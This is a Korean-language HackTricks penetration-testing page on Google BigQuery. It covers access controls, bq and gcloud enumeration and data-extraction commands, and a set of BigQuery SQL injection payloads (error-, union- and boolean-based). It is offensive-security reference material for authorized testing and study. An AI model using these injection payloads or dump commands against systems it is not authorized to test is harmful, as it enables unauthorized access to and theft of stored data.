GCP - Bigquery Enum

Reading time: 7 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

Google Cloud BigQuery는 완전 관리형, 서버리스 엔터프라이즈 데이터 웨어하우스로, 페타바이트의 데이터를 분석할 수 있는 기능을 제공하여 대규모 데이터 세트를 효율적으로 처리합니다. PaaS(Platform as a Service)로서, 사용자가 수동 감독 없이 데이터 관리를 용이하게 할 수 있는 인프라와 도구를 제공합니다.

ANSI SQL을 사용하여 쿼리를 지원합니다. 주요 객체는 테이블을 포함하는 데이터세트로, SQL 데이터를 포함합니다.

암호화

기본적으로 Google 관리 암호화 키가 사용되지만, **고객 관리 암호화 키(CMEK)**를 구성할 수 있습니다. 데이터세트 및 데이터세트 내의 테이블별로 암호화 키를 지정할 수 있습니다.

만료

데이터세트에서 만료 시간을 지정할 수 있어, 이 데이터세트에서 생성된 새로운 테이블은 생성 후 지정된 일수만큼 자동으로 삭제됩니다.

외부 소스

Bigquery는 다른 Google 서비스와 깊게 통합되어 있습니다. 버킷, pub/sub, Google Drive, RDS 데이터베이스에서 데이터를 로드할 수 있습니다...

데이터세트 ACLs

데이터세트가 생성될 때 ACL이 첨부되어 접근 권한을 부여합니다. 기본적으로 데이터세트를 생성한 사용자에게 소유자 권한이 부여되고, 그 다음 프로젝트 소유자 그룹인 projectOwners에게 소유자 권한이, projectWriters 그룹에게 작성자 권한이, projectReaders 그룹에게 읽기자 권한이 부여됩니다:

bash
bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Table Rows Control Access

테이블 내에서 주체가 접근할 수 있는 행을 제어하는 것이 가능합니다. 이는 행 접근 정책을 사용하여 정의됩니다. 이러한 정책은 테이블 내에서 DDL로 정의됩니다.
접근 정책은 필터를 정의하며, 해당 필터와 일치하는 행만 지정된 주체에 의해 접근 가능합니다.

sql
# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
bash
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

열 접근 제어

열 수준에서 데이터 접근을 제한하려면:

  1. 분류 체계 및 정책 태그 정의. 데이터에 대한 분류 체계 및 정책 태그를 생성하고 관리합니다. https://console.cloud.google.com/bigquery/policy-tags
  2. 선택 사항: 생성한 정책 태그 중 하나 이상에 대해 데이터 카탈로그 세분화된 읽기 권한 역할을 하나 이상의 주체에게 부여합니다.
  3. 정책 태그를 BigQuery 열에 할당. BigQuery에서 스키마 주석을 사용하여 접근을 제한하려는 각 열에 정책 태그를 할당합니다.
  4. 분류 체계에 대한 접근 제어 시행. 접근 제어를 시행하면 분류 체계의 모든 정책 태그에 대해 정의된 접근 제한이 적용됩니다.
  5. 정책 태그에 대한 접근 관리. Identity and Access Management (IAM) 정책을 사용하여 각 정책 태그에 대한 접근을 제한합니다. 정책은 정책 태그에 속하는 각 열에 대해 유효합니다.

사용자가 쿼리 시간에 열 데이터를 접근하려고 할 때, BigQuery는 사용자가 데이터에 접근할 수 있는 권한이 있는지 확인하기 위해 열 정책 태그와 그 정책을 확인합니다.

tip

요약하자면, 일부 열에 대한 접근을 일부 사용자에게 제한하려면 스키마에서 열에 태그를 추가하고 사용자의 태그 접근을 제한하여 태그의 분류 체계에 대한 접근 제어를 시행할 수 있습니다.

분류 체계에 대한 접근 제어를 시행하려면 서비스를 활성화해야 합니다:

bash
gcloud services enable bigquerydatapolicy.googleapis.com

열의 태그를 보려면 다음을 사용할 수 있습니다:

bash
bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

열거

bash
# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>

# Misc
bq show --encryption_service_account # Get encryption service account

BigQuery SQL Injection

추가 정보는 블로그 게시물을 확인하세요: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. 여기서는 몇 가지 세부 정보만 제공됩니다.

주석:

  • select 1#from here it is not working
  • select 1/*between those it is not working*/ 하지만 초기 것만 작동하지 않습니다.
  • select 1--from here it is not working

환경에 대한 정보를 가져옵니다:

  • 현재 사용자: select session_user()
  • 프로젝트 ID: select @@project_id

행 연결:

  • 모든 테이블 이름: string_agg(table_name, ', ')

데이터셋, 테이블 이름 가져오기:

  • 프로젝트데이터셋 이름:
sql
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • 모든 테이블테이블 이름:
sql
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
  • 같은 프로젝트의 다른 데이터셋:
sql
# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA

SQL Injection 유형:

  • 오류 기반 - 캐스팅: select CAST(@@project_id AS INT64)
  • 오류 기반 - 제로 나누기: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '
  • 유니온 기반 (bigquery에서는 ALL을 사용해야 함): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
  • 불리언 기반: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
  • 잠재적 시간 기반 - 공용 데이터셋 사용 예: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

문서:

권한 상승 및 포스트 익스플로잇

GCP - BigQuery Privesc

지속성

GCP - BigQuery Persistence

참조

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기